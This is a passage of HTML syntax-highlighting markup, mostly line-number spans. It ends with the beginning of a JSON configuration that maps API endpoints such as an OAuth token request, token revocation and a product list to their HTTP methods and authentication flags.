&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;309&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#309&#34;&gt;309&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;310&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#310&#34;&gt;310&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;311&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#311&#34;&gt;311&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;312&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#312&#34;&gt;312&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;313&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#313&#34;&gt;313&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;314&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#314&#34;&gt;314&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;315&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#315&#34;&gt;315&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;316&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#316&#34;&gt;316&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;317&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#317&#34;&gt;317&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;318&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#318&#34;&gt;318&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;319&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#319&#34;&gt;319&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;320&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#320&#34;&gt;320&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;321&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#321&#34;&gt;321&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;322&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#322&#34;&gt;322&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;323&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#323&#34;&gt;323&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;324&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#324&#34;&gt;324&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;325&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#325&#34;&gt;325&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;326&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#326&#34;&gt;326&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;327&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#327&#34;&gt;327&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;328&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#328&#34;&gt;328&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;329&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#329&#34;&gt;329&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;330&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#330&#34;&gt;330&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;331&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#331&#34;&gt;331&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;332&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#332&#34;&gt;332&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;333&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#333&#34;&gt;333&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;334&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#334&#34;&gt;334&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;335&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#335&#34;&gt;335&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;336&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#336&#34;&gt;336&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;337&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#337&#34;&gt;337&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;338&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#338&#34;&gt;338&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;339&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#339&#34;&gt;339&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;340&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#340&#34;&gt;340&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;341&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#341&#34;&gt;341&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;342&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#342&#34;&gt;342&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;343&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#343&#34;&gt;343&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;344&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#344&#34;&gt;344&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;345&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#345&#34;&gt;345&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;346&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#346&#34;&gt;346&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;347&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#347&#34;&gt;347&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;348&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#348&#34;&gt;348&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;349&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#349&#34;&gt;349&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;350&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#350&#34;&gt;350&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;351&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#351&#34;&gt;351&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;352&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#352&#34;&gt;352&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;353&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#353&#34;&gt;353&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;354&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#354&#34;&gt;354&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;355&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#355&#34;&gt;355&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;356&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#356&#34;&gt;356&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;357&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#357&#34;&gt;357&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;358&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#358&#34;&gt;358&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;359&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#359&#34;&gt;359&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;360&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#360&#34;&gt;360&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;361&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#361&#34;&gt;361&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;362&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#362&#34;&gt;362&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;363&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#363&#34;&gt;363&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;364&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#364&#34;&gt;364&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;365&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#365&#34;&gt;365&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;366&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#366&#34;&gt;366&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;367&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#367&#34;&gt;367&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;368&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#368&#34;&gt;368&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;369&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#369&#34;&gt;369&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;370&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#370&#34;&gt;370&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;371&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#371&#34;&gt;371&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;372&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#372&#34;&gt;372&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;373&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#373&#34;&gt;373&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;374&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#374&#34;&gt;374&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;375&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#375&#34;&gt;375&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;376&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#376&#34;&gt;376&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;377&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#377&#34;&gt;377&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;378&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#378&#34;&gt;378&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;379&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#379&#34;&gt;379&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;380&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#380&#34;&gt;380&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;381&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#381&#34;&gt;381&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;382&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#382&#34;&gt;382&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;383&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#383&#34;&gt;383&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;384&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#384&#34;&gt;384&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;385&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#385&#34;&gt;385&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;386&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#386&#34;&gt;386&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;387&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#387&#34;&gt;387&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;388&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#388&#34;&gt;388&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;389&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#389&#34;&gt;389&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;390&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#390&#34;&gt;390&lt;/a&gt;
&lt;/span&gt;&lt;span style=&#34;white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#8087a2&#34; id=&#34;391&#34;&gt;&lt;a style=&#34;outline:none;text-decoration:none;color:inherit&#34; href=&#34;#391&#34;&gt;391&lt;/a&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style=&#34;vertical-align:top;padding:0;margin:0;border:0;;width:100%&#34;&gt;
&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTHENTICATE&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;oauth/token&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;REVOKE_AUTH_TOKEN&amp;#34;&lt;/span&gt;: {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;TYPE&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;POST&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;URI&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;oauth/revoke&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;AUTH&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#f5a97f&#34;&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#c6a0f6&#34;&gt;&amp;#34;PRODUCT_LIST&amp;#34;&lt;/span&gt;: {
